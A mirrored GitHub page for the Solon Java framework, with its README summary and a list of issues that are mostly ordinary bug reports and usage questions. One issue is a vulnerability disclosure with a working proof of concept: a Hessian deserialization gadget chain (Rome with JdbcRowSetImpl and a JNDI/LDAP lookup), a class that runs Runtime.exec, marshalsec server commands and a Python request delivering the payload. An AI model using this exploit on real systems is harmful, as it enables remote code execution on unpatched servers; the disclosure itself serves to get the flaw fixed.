Giter VIP home page Giter VIP logo

noear / solon Goto Github PK

View Code? Open in Web Editor NEW
2.1K 33.0 206.0 53.53 MB

🔥 New Java application development framework: FASTER, SMALLER, SIMPLER!! 2 to 3 times more concurrency 50% memory savings Startup is 5-10 times faster. 50% ~ 90% smaller packaging; Compatible with java8 ~ java22.

Home Page: https://solon.noear.org

License: Apache License 2.0

Java 98.41% HTML 0.25% FreeMarker 0.07% Kotlin 0.01% Vue 0.61% TypeScript 0.64% CSS 0.01% JavaScript 0.01% Ruby 0.01%
java microservice rpc rest-api plugin no-spring web-framework solon solon-cloud ioc-framework

solon's Introduction


Solon v2.7.5

Java's new application development framework. Faster, smaller, and easier!

https://solon.noear.org

Maven Apache 2 jdk-8 jdk-11 jdk-17 jdk-21 jdk-22
gitee star github star


Language: English | 中文 | Русский | 日本語

2 to 3 times more concurrency 50% memory savings Startup is 5-10 times faster. 50% ~ 90% smaller packaging; Compatible with java8 ~ java22
Built from scratch, with more flexible interface specifications and an open ecosystem


Features:

Better cost performance for computing:

  • Throughput: 2-3 times higher concurrency per second
  • Resources: 50% memory savings

Better developer productivity, easier coding experience:

  • Development: Flexible and simple architecture; Quick to get started
  • Debugging: Restarts are 5-10 times faster. Locating problems faster

Faster production and deployment experience:

  • Artifacts: 50% ~ 90% smaller packaging
  • Deploy: images are fast to pull and start up (5-10x)

Wider runtime compatibility:

  • Breakthrough: Non-Java-EE architecture, more flexibility
  • Compatibility: Compatible with java8, java11, java17, java21, java22 runtime

Ecosystem Architecture Diagram:

  • solon

  • solon cloud

Official website and related examples, cases:

Special thanks to JetBrains for supporting open-source projects:

JetBrains

solon's People

Contributors

aqnghu avatar blackbear2003 avatar cym1102 avatar dependabot[bot] avatar dudiao avatar fs185085781 avatar fuzi1996 avatar fzdwx avatar gollyhu avatar hstclin avatar hulytu avatar icazio avatar iyarnfog avatar kongweiguang avatar lanbaba666 avatar liaocp666 avatar limerence-zou avatar lionel524 avatar llm163520 avatar losebai avatar noear avatar pmg1991 avatar qxyuan853 avatar shaokeyibb avatar tomsun28 avatar troyzhxu avatar xsshuang avatar yazhuo-wyze avatar zhangoranges avatar zoze0 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

solon's Issues

RCE vulnerabilities

BUG

https://github.com/noear/solon/blob/master/_solon_extend/solon.serialization.hessian/src/main/java/org/noear/solon/serialization/hessian/HessianActionExecutor.java

    @Override
    protected Object changeBody(Context ctx) throws Exception {
        Hessian2Input hi = new Hessian2Input(new ByteArrayInputStream(ctx.bodyAsBytes()));
        return hi.readObject();
    }

When the framework's GateWay is used, And the official dependency solon.serialization.hessian was introduced,if requested api contains parameters, the body part of the request package will be deserialized with hessian.
This can lead to remote command execution.

stack:

changeBody:25, HessianActionExecutor (org.noear.solon.serialization.hessian)
buildArgs:53, ActionExecutorDefault (org.noear.solon.core.handle)
execute:42, ActionExecutorDefault (org.noear.solon.core.handle)
callDo:339, Action (org.noear.solon.core.handle)
invoke0:281, Action (org.noear.solon.core.handle)
invoke:215, Action (org.noear.solon.core.handle)
handle0:218, Gateway (org.noear.solon.core.handle)
doFilter:200, Gateway (org.noear.solon.core.handle)
doFilter:-1, 992768706 (org.noear.solon.core.handle.Gateway$$Lambda$59)
doFilter:22, FilterChainNode (org.noear.solon.core.handle)
handle:156, Gateway (org.noear.solon.core.handle)
handleMain:84, RouterHandler (org.noear.solon.core.route)
handle:52, RouterHandler (org.noear.solon.core.route)
handle:41, HandlerPipeline (org.noear.solon.core.handle)
doFilter:403, SolonApp (org.noear.solon)
doFilter:-1, 1576861390 (org.noear.solon.SolonApp$$Lambda$10)
doFilter:22, FilterChainNode (org.noear.solon.core.handle)
tryHandle:355, SolonApp (org.noear.solon)
handleDo:34, JlHttpContextHandler (org.noear.solon.boot.jlhttp)
serve:14, JlHttpContextHandler (org.noear.solon.boot.jlhttp)
serve:2316, HTTPServer (org.noear.solon.boot.jlhttp)
handleMethod:2247, HTTPServer (org.noear.solon.boot.jlhttp)
handleTransaction:2188, HTTPServer (org.noear.solon.boot.jlhttp)
handleConnection:2148, HTTPServer (org.noear.solon.boot.jlhttp)
run:1925, HTTPServer$SocketHandlerThread$1 (org.noear.solon.boot.jlhttp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

Reproduction

Use the official demo
https://github.com/noear/solon_demo/tree/master/demo17.solon_gateway
import dependencies

<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon.serialization.hessian</artifactId>
</dependency>

import dependencies,Deserialization requires an exploit chain,Here is an example of com.rometools.rome

        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>

jdk:1.8.0_101

Parts that need to be modified:
api needs to accept parameters

server.dso.service.UserServiceImpl
    @Override
    public Result<UserModel> getUser(String name) {
        UserModel user = userDao.getUser();

        return Result.succeed(user);
    }

remove the last two lines as it didn't work

client.ClientApp
    public static void main(String[] args) {
        Solon.start(ClientApp.class, args, app -> app.enableHttp(false));

        ClientApp tmp = Solon.context().getBean(ClientApp.class);
    }

The frame part is ready

poc

Compile a malicious class,and put it under a web service

public class evil {
    static {
        try {
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        }catch (Exception e){

        }
    }
}
 ~/Desktop/demo/target/classes/ ls
a          evil.class server
 ~/Desktop/demo/target/classes/ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

Deploy an ldap service using marshalsec:

 ~/Documents/tool/exp/marshalsec/ [master*] java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#evil 1099
Listening on 0.0.0.0:1099

Generate serialized data:
need to import dependencies

    <dependency>
        <groupId>com.caucho</groupId>
        <artifactId>hessian</artifactId>
        <version>4.0.65</version>
    </dependency>
    <dependency>
        <groupId>com.rometools</groupId>
        <artifactId>rome</artifactId>
        <version>1.7.0</version>
    </dependency>
    <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-nop</artifactId>
        <version>1.7.24</version>
    </dependency>
package a;

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian2Gadget {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws java.lang.Exception, java.sql.SQLException, IOException, NoSuchFieldException, IllegalAccessException {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1099/evil");
        jdbcRowSet.setMatchColumn(new String[]{"a","b"});
        ToStringBean toStringBean=new ToStringBean(jdbcRowSet.getClass(),jdbcRowSet);

        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(),toStringBean);
        HashMap<Object,Object> map=new HashMap<Object, Object>();
        map.put(equalsBean,"bbb");
        setValue(toStringBean,"obj",jdbcRowSet);

        FileOutputStream fileOutputStream=new FileOutputStream(new File("/tmp/ser"));
        Hessian2Output output=new Hessian2Output(fileOutputStream);
        output.writeObject(map);
        output.close();
    }
}

Use python3 to initiate a request:

import requests

with open("/tmp/ser","rb") as f:
    body= f.read()
    print(len(body))
    burp0_url = "http://localhost:8080/api/rest/user/getUser"
    burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate", "Connection": "close", "Content-Type": "application/hessian", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
    requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body)

The code in the evil.class part will be executed and the calculator will pop up

Cache注释中的tags缓存时间需要由最大seconds决定

据测试,tags的缓存生效时间是按配置文件中的defSeconds来决定的,比如默认的30S。同tags的某Key自定义了1小时生效时间(seconds = 3600),而在30秒后,按tags清除相关缓存,结果发现此1小时生效的key并没有被清除。
应该是tags在30S时被清除,tags与key的关系也就消失,按tags清除相关的key也就不生效了。应该在缓存key时,同时判断tags的缓存时间是否覆盖key的缓存时间,并更新tags的最大缓存时间。

@destroy 请问注解有类似的实现吗?

@init对应的。现在只能这样

 void addStopHook(Runnable task) {
        Solon.cfg().plugs().add(new PluginEntity(new Plugin() {
            @Override
            public void start(final SolonApp app) { }

            @Override
            public void stop() throws Throwable { task.run(); }
        }));
    }

Is there any way to integrate Solon RPC in an existing website

Hello,
as explained i only want to use the RPC module of Solon and integrate it into my existing website.
It is possible to do so ? If yes what should I put on the web (client) side as class to start the rpc client (replace the Client.class with what ?).

Actually i insert this line in my web controller and that don't work.

SolonApp client = Solon.start(Client.class, args, app -> app.enableHttp(false));

Thanks for your help !

Implement an interceptor for Solon?

At present, Solon does not seem to find interceptor related, do we have implementation? I want to implement an annotation agent interceptor based on byte-buddy, extensible way for non-intrusive interception of business code.

jdk17 test 代码执行时抛出异常

// MyTest.java

import cn.td.App;
import cn.td.mapper.UserMapper;
import cn.td.po.User;
import cn.td.service.UserService;
import com.baomidou.mybatisplus.solon.plugins.pagination.Page;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.noear.solon.annotation.Inject;
import org.noear.solon.test.SolonJUnit4ClassRunner;
import org.noear.solon.test.SolonTest;

@RunWith(SolonJUnit4ClassRunner.class)
@SolonTest(App.class)
public class MyTest {
    @Inject
    UserService service;

    @Inject
    UserMapper mapper;

    @Test
    public void test01() {
//        获取所有的用户
        service.list().forEach(System.out::println);
    }

    @Test
    public void test02() {
//        逻辑删除
        System.out.println(service.removeById(911327233));
    }

    @Test
    public void test03() {
//        分页
        Page<User> page = service.page(new Page<>(1, 2));
        System.out.println(page.getPages());
        System.out.println(page.getTotal());
        System.out.println("====================");
        page.getRecords().forEach(System.out::println);
    }

    @Test
    public void test04() {
        System.out.println(mapper.get());
    }


}
java.lang.RuntimeException: java.lang.ClassFormatError: Illegal class name "/$Proxy_MyTest" in class file <Unknown>

	at org.noear.solon.aspect.BeanInvocationHandler.<init>(BeanInvocationHandler.java:44)
	at org.noear.solon.aspect.BeanInvocationHandler.<init>(BeanInvocationHandler.java:26)
	at org.noear.solon.aspect.BeanProxy.getProxy(BeanProxy.java:33)
	at org.noear.solon.test.SolonJUnit4ClassRunner.createTest(SolonJUnit4ClassRunner.java:113)
	at org.junit.runners.BlockJUnit4ClassRunner.createTest(BlockJUnit4ClassRunner.java:260)
	at org.junit.runners.BlockJUnit4ClassRunner$2.runReflectiveCall(BlockJUnit4ClassRunner.java:309)
	at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
	at org.junit.runners.BlockJUnit4ClassRunner.methodBlock(BlockJUnit4ClassRunner.java:306)
	at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100)
	at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366)
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103)
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63)
	at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331)
	at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79)
	at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329)
	at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66)
	at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293)
	at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306)
	at org.junit.runners.ParentRunner.run(ParentRunner.java:413)
	at org.junit.runner.JUnitCore.run(JUnitCore.java:137)
	at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs(JUnit4IdeaTestRunner.java:69)
	at com.intellij.rt.junit.IdeaTestRunner$Repeater$1.execute(IdeaTestRunner.java:38)
	at com.intellij.rt.execution.junit.TestsRepeater.repeat(TestsRepeater.java:11)
	at com.intellij.rt.junit.IdeaTestRunner$Repeater.startRunnerWithArgs(IdeaTestRunner.java:35)
	at com.intellij.rt.junit.JUnitStarter.prepareStreamsAndStart(JUnitStarter.java:235)
	at com.intellij.rt.junit.JUnitStarter.main(JUnitStarter.java:54)
Caused by: java.lang.ClassFormatError: Illegal class name "/$Proxy_MyTest" in class file <Unknown>
	at java.base/java.lang.ClassLoader.defineClass1(Native Method)
	at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1012)
	at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:874)
	at org.noear.solon.aspect.asm.AsmProxyClassLoader.transfer2Class(AsmProxyClassLoader.java:14)
	at org.noear.solon.aspect.asm.AsmProxy.newProxyInstance(AsmProxy.java:126)
	at org.noear.solon.aspect.BeanInvocationHandler.<init>(BeanInvocationHandler.java:40)
	... 25 more

任务发放:实现 Graalvm Native 快捷打包的适配

目前的思路是:借助 APT 技术,在编译时自动生成一些代码和配置。目前做这个工作插件有:

  • solon.proxy.apt
  • solon.graalvm.apt

可以往这个思路走。也可以用别的方案。

对于 Graalvm Native 编译来说,主要是:

  • 通过配置申明资源
  • 通过配置申明反射接口

Using predictable/constant cryptographic key when creating and verifing Json Web Token.

Hi, we are a research group to help developers build secure applications. We designed a cryptographic misuse detector on Java language(Our main concern is the secure implementation and use of Json Web Token). We found your great public repository (i.e.,
solon) from Github, and several security issues detected by our detector are shown in the following. The specific security issues we found are as follows:
(1) Location: Package: org.noear.solon.extend.sessionstate.jwt; Class: JwtUtils.class
(2) Location: Package: org.noear.solon.extend.sessionstate.jwt; Class: JwtSessionStateFactory.class
Security issue: Using predictable/constant cryptographic key when creating and verifing Json Web Token.

Using a predictable/constant secret does not conform to the security implementation specification of JWT, which may bring security risks to your system. It is recommended to use a more secure way to store the secret used to generate the JWT and use a strong enough key to improve the security of the project. (For the hazards of predictable/constant secret, you can refer to CWE-321, NIST Special Publication 800-57).

We wish the above security issues cloud truly help you to build a secure application. If you have any concern or suggestion, please feel free to contact us, we are looking forward to your reply. Thanks.

用户项目案例登记

官网不方便添加互动功能,故将案例登记转到仓库这边来 。。。登记后的项目,经筛选整理后会添加到官网:
https://solon.noear.org/article/cases

登记格式要求:

字段 内容
项目名称
项目图标地址(可选)
项目简介
部署地区
公司(可选)
公司简介(可选)
公司图标地址(可选)

格式中的“项目图标”、“公司图标”,是为官网新规划的页面做准备的。为了 Solon 更好的发展,欢迎大家多多登记!

异常:动态代理重复签名 java.lang.ClassFormatError: Duplicate method name&signature in class file

简单描述:建立抽象类并写一个抽象方法,@service继承并实现,启动就会报错。

版本:solon 1.9.3
JDK版本:1.8

复现步骤:

1-抽象类

public abstract class TestBase {
	public abstract void sayHello();
}

2-继承类

@Service
public class TestBaseService extends TestBase {
    @Override
    public void sayHello() {
    }
}

4-报错信息


java.lang.ClassFormatError: Duplicate method name&signature in class file com/zyf/controller/caches/$Proxy_TestBaseService
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:763)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:642)
	at org.noear.solon.aspect.asm.AsmProxyClassLoader.transfer2Class(AsmProxyClassLoader.java:20)
	at org.noear.solon.aspect.asm.AsmProxy.newProxyInstance(AsmProxy.java:119)
	at org.noear.solon.aspect.BeanInvocationHandler.<init>(BeanInvocationHandler.java:40)
	at org.noear.solon.aspect.BeanInvocationHandler.<init>(BeanInvocationHandler.java:26)
	at org.noear.solon.aspect.BeanProxy.getProxy(BeanProxy.java:29)
	at org.noear.solon.core.BeanWrap.proxySet(BeanWrap.java:94)
	at org.noear.solon.aspect.AspectUtil.binding(AspectUtil.java:32)
	at org.noear.solon.aspect.integration.XPluginImp.lambda$startOld$4(XPluginImp.java:46)
	at org.noear.solon.core.AopContext.lambda$tryCreateBean$10(AopContext.java:397)
	at org.noear.solon.core.AopContext.tryCreateBean0(AopContext.java:426)
	at org.noear.solon.core.AopContext.tryCreateBean(AopContext.java:394)
	at org.noear.solon.core.AopContext.lambda$beanScan$9(AopContext.java:353)
	at java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:184)
	at java.util.stream.SortedOps$SizedRefSortingSink.end(SortedOps.java:352)
	at java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:482)
	at java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:471)
	at java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:151)
	at java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:174)
	at java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
	at java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:418)
	at org.noear.solon.core.AopContext.beanScan(AopContext.java:348)
	at org.noear.solon.core.AopContext.beanScan(AopContext.java:319)
	at org.noear.solon.SolonApp.run(SolonApp.java:130)
	at org.noear.solon.Solon.start(Solon.java:140)
	at org.noear.solon.Solon.start(Solon.java:90)
	at org.noear.solon.Solon.start(Solon.java:77)
	at com.zyf.App.main(App.java:10)

[Solon 1.7.2] long remote rpc method goes into concurrent.TimeoutException

你好。

我正在调用一个远程RPC方法,它可能需要一个小时的时间来执行。我需要客户端继续等待服务器的响应。
问题是,客户端似乎超时了。

java.lang.RuntimeException: java.util.concurrent.TimeoutException
at org.noear.solon.socketd.SessionBase.sendAndResponse(SessionBase.java:193)
at org.noear.nami.channel.socketd.SocketChannel.call(SocketChannel.java:81)
at org.noear.nami.Nami.callDo(Nami.java:167)
at org.noear.nami.Invocation.invoke(Invocation.java:29)
at org.noear.nami.Nami.call(Nami.java:134)
at org.noear.nami.NamiHandler.invoke(NamiHandler.java:248)
at com.sun.proxy.$Proxy82.syncVpsIso(Unknown Source)

我在看了一些例子后,试图用以下方法找到一个解决方案

Session session = SocketD.createSession("tcp://127.0.0.1:28080");
session.sendHeartbeatAuto(10);

但这并不奏效。

有什么办法可以禁止超时或维持连接吗?

谢谢你提供的任何帮助。

表单提交参数绑定不了

请求 POST http://localhost:8081/api/removes
Content-Type	application/x-www-form-urlencoded
ids=2

==============================

@Post
@Mapping("/api/removes")
public String remove(String ids) {
	return ids;
}

结果 ids == null

经追查,是这种组织方式导致

<dependencyManagement>
        <dependencies>
            <!-- solon的依赖配置-->
            <dependency>
                <groupId>org.noear</groupId>
                <artifactId>solon-parent</artifactId>
                <version>1.9.4-M2</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

解决方式二选一:

1-单纯使用

    <parent>
        <groupId>org.noear</groupId>
        <artifactId>solon-parent</artifactId>
        <version>1.9.4-M2</version>
    </parent>

2-使用 dependencyManagement 必须搭配 maven-compiler-plugin 且 -parameters

<dependencyManagement>
        <dependencies>
            <!-- solon的依赖配置-->
            <dependency>
                <groupId>org.noear</groupId>
                <artifactId>solon-parent</artifactId>
                <version>1.9.4-M2</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
                <configuration>
                    <compilerArgument>-parameters</compilerArgument>
                    <source>1.8</source>
                    <target>1.8</target>
                    <encoding>UTF-8</encoding>
                </configuration>
            </plugin>
        </plugins>
    </build>

ServerProps 类添加一些 TCP 参数配置和线程配置?

目前当 Runtime 是 Undertow 时,配置是 Undertow.Builder

当 Runtime 是 SmartHttp 时,配置是 HttpServerConfiguration

好像目前有个 ServerProps 类看起来像是我需要的,但是好像基本上 web 的配置,缺少 Tcp 参数和 io 线程的相关配置

目的:减少 app 对 runtime 的编译依赖

Jooby 也是支持多 Runtime 的,或许可以参考他的 ServerOptions

[Solon 1.7.2] Problem with list transfer (jackson)

Hello,

I developed a simple case where i have an interface like this on both client and server with a server side implementation

@NamiClient(path = "/helloService")
public interface HelloService {
	public String hello(String name);
	public String helloList(List<User> users);
}

with a server side implementation

@Mapping(value = "/helloService", method = MethodType.SOCKET)
@Remoting
public class HelloServiceImpl implements HelloService {

	public String hello(String name) {
		return "hello " + name;
	}

	public String helloList(List<User> users) {
		return "" + users.size();
	}
}

My server code

// socket
ConsumerEx<SolonApp> config = new ConsumerEx<SolonApp>() {
	@Override
	public void accept(SolonApp app) throws Throwable {
		app.enableHttp(false);
		app.enableSocketD(true);
	}
};

Solon.start(Server.class, args, config);

My client code that work

Solon.start(Client.class, args, app -> app.enableHttp(false));
HelloService helloService = SocketD.create("tcp://192.168.1.21:28080/helloService", HelloService.class); // localhost
System.out.println(helloService.hello("test"));

My client code that doesn't work

Solon.start(Client.class, args, app -> app.enableHttp(false));
HelloService helloService = SocketD.create("tcp://192.168.1.21:28080/helloService", HelloService.class); // localhost

User user1 = new User();
user1.setNom("rgrg");
user1.setPrenom("rgrg");

List<User> userList = new ArrayList<User>();
userList.add(user1);
userList.add(user1);

System.out.println(helloService.helloList(userList));

The error i got from client

[0mException in thread "main" java.lang.RuntimeException: Unexpected token (START_OBJECT), expected VALUE_STRING: need JSON String that contains type id (for subtype of java.util.List)
	at com.fasterxml.jackson.databind.exc.MismatchedInputException.from(MismatchedInputException.java:59)
	at com.fasterxml.jackson.databind.DeserializationContext.wrongTokenException(DeserializationContext.java:1799)
	at com.fasterxml.jackson.databind.DeserializationContext.reportWrongTokenException(DeserializationContext.java:1533)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._locateTypeId(AsArrayTypeDeserializer.java:164)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:96)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromArray(AsArrayTypeDeserializer.java:53)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserializeWithType(CollectionDeserializer.java:283)
	at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:74)
	at com.fasterxml.jackson.databind.deser.DefaultDeserializationContext.readRootValue(DefaultDeserializationContext.java:322)
	at com.fasterxml.jackson.databind.ObjectMapper._readValue(ObjectMapper.java:4569)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2823)
	at org.noear.solon.serialization.jackson.JacksonActionExecutor.changeValue(JacksonActionExecutor.java:66)
	at org.noear.solon.core.handle.ActionExecutorDefault.buildArgs(ActionExecutorDefault.java:96)
	at org.noear.solon.core.handle.ActionExecutorDefault.execute(ActionExecutorDefault.java:42)
	at org.noear.solon.core.handle.Action.callDo(Action.java:312)
	at org.noear.solon.core.handle.Action.invoke0(Action.java:254)
	at org.noear.solon.core.handle.Action.invoke(Action.java:184)
	at org.noear.solon.core.handle.Action.handle(Action.java:163)
	at org.noear.solon.core.route.RouterHandler.handleOne(RouterHandler.java:81)
	at org.noear.solon.core.route.RouterHandler.handle(RouterHandler.java:46)
	at org.noear.solon.SolonApp.doFilter(SolonApp.java:688)
	at org.noear.solon.core.handle.FilterChainNode.doFilter(FilterChainNode.java:22)
	at org.noear.solon.SolonApp.tryHandle(SolonApp.java:657)
	at org.noear.solon.socketd.SocketContextHandler.handle(SocketContextHandler.java:31)
	at org.noear.solon.socketd.RouterListener.onMessage0(RouterListener.java:114)
	at org.noear.solon.socketd.RouterListener.lambda$onMessage$1(RouterListener.java:74)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)

The error i got from server

com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected VALUE_STRING: need JSON String that contains type id (for subtype of java.util.List)
 at [Source: UNKNOWN; line: -1, column: -1]
	at com.fasterxml.jackson.databind.exc.MismatchedInputException.from(MismatchedInputException.java:59)
	at com.fasterxml.jackson.databind.DeserializationContext.wrongTokenException(DeserializationContext.java:1799)
	at com.fasterxml.jackson.databind.DeserializationContext.reportWrongTokenException(DeserializationContext.java:1533)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._locateTypeId(AsArrayTypeDeserializer.java:164)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:96)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromArray(AsArrayTypeDeserializer.java:53)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserializeWithType(CollectionDeserializer.java:283)
	at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:74)
	at com.fasterxml.jackson.databind.deser.DefaultDeserializationContext.readRootValue(DefaultDeserializationContext.java:322)
	at com.fasterxml.jackson.databind.ObjectMapper._readValue(ObjectMapper.java:4569)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2823)
	at org.noear.solon.serialization.jackson.JacksonActionExecutor.changeValue(JacksonActionExecutor.java:66)
	at org.noear.solon.core.handle.ActionExecutorDefault.buildArgs(ActionExecutorDefault.java:96)
	at org.noear.solon.core.handle.ActionExecutorDefault.execute(ActionExecutorDefault.java:42)
	at org.noear.solon.core.handle.Action.callDo(Action.java:312)
	at org.noear.solon.core.handle.Action.invoke0(Action.java:254)
	at org.noear.solon.core.handle.Action.invoke(Action.java:184)
	at org.noear.solon.core.handle.Action.handle(Action.java:163)
	at org.noear.solon.core.route.RouterHandler.handleOne(RouterHandler.java:81)
	at org.noear.solon.core.route.RouterHandler.handle(RouterHandler.java:46)
	at org.noear.solon.SolonApp.doFilter(SolonApp.java:688)
	at org.noear.solon.core.handle.FilterChainNode.doFilter(FilterChainNode.java:22)
	at org.noear.solon.SolonApp.tryHandle(SolonApp.java:657)
	at org.noear.solon.socketd.SocketContextHandler.handle(SocketContextHandler.java:31)
	at org.noear.solon.socketd.RouterListener.onMessage0(RouterListener.java:114)
	at org.noear.solon.socketd.RouterListener.lambda$onMessage$1(RouterListener.java:74)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)

My server pom dependencies

<!-- for server -->
<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon.boot.socketd.smartsocket</artifactId>
    <version>1.7.2</version>
</dependency>
    
<dependency>
      <groupId>org.noear</groupId>
      <artifactId>nami.channel.socketd.smartsocket</artifactId>
      <version>1.7.2</version>
</dependency>

<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon.serialization.jackson</artifactId>
    <version>1.7.2</version>
</dependency>

My client pom dependencies

<!-- for client -->
<dependency>
      <groupId>org.noear</groupId>
      <artifactId>solon.socketd.client.smartsocket</artifactId>
      <version>1.7.2</version>
</dependency>

<dependency>
      <groupId>org.noear</groupId>
      <artifactId>nami.coder.jackson</artifactId>
      <version>1.7.2</version>
</dependency>

Do you have an idea about why i can't pass list as parameter to server ?

Thanks for your help !

如果只想用依赖注入aop这些

是不是只用引入这个包就ok了?

        <dependency>
            <groupId>org.noear</groupId>
            <artifactId>solon-lib</artifactId>
            <version>1.6.21</version>
        </dependency>

How to print execution time of all request

How to use Interceptor to print all request's response time without adding annotation to all methods.

Currently I'm doing this ;
